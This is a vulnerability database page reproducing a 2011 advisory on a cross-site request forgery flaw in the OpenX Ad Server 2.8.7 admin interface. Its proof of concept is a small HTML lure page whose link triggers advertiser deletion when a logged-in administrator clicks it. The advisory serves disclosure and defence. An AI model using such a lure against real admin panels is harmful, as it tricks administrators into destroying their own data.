Vulners
Lucene search
OpenX Ad Server 2.8.7 Cross Site Request Forgery
🗓️ 25 Jul 2011 00:00:00Reported by Narendra ShindeType 
packetstorm🔗 packetstormsecurity.com👁 24 Views
`Title: OpenX Ad Server CSRF Vulnerability
Product: OpenX Ad Server
Vulnerable version: 2.8.7 and probably earlier versions
Fixed version: N/A
Impact: High
Homepage: http://www.openx.org/
Vulnerability ID: SV-01
Found: 7/7/2011
By: Narendra Shinde
Secur-I Research Group
http://securview.com/
=======================================================================
Vendor description:
-------------------
OpenX is the worlds leading independent provider of digital advertising technology that enables businesses to manage and maximize their ad revenue.
OpenX ad serving products are used by more than 200,000 websites in more than 100 countries and serve more than 350 billion ads monthly. OpenX Market reaches more than 400 million monthly unique users worldwide
Source: http://www.openx.org/about/facts
Vulnerability Information:
-------------------------
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required : Yes
CVE Name: N/A
Vulnerability overview/description:
-----------------------------------
The administrative interface of OpenX Ad Server is vulnerable to Cross-Site Request Forgery (CSRF) attacks, which can be exploited by remote attackers to force a logged-in administrator to perform malicious actions on the OpenX Ad Server, by enticing authenticated user to visit a malicious web page.
Proof of concept:
-----------------
Code:
<html>
<body>
<h1> Check This new Snap </h1>
<a href=http://vulnerablewebsite/www/admin/advertiser-delete.php?clientid=2> Check This </a>
</body>
</html>
Fore more details please find attached advisory document.
Thanks for your time.
Thanks & Regards,
Narendra Shinde.
Confidentiality: This e-mail and any attachments may be confidential and may also be privileged. If you are not an intended named recipient, please notify the sender immediately and do not disclose the contents to another person use it for any purpose, or store or copy the information in any medium.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jul 2011 00:00Current
0.3Low risk
Vulners AI Score0.3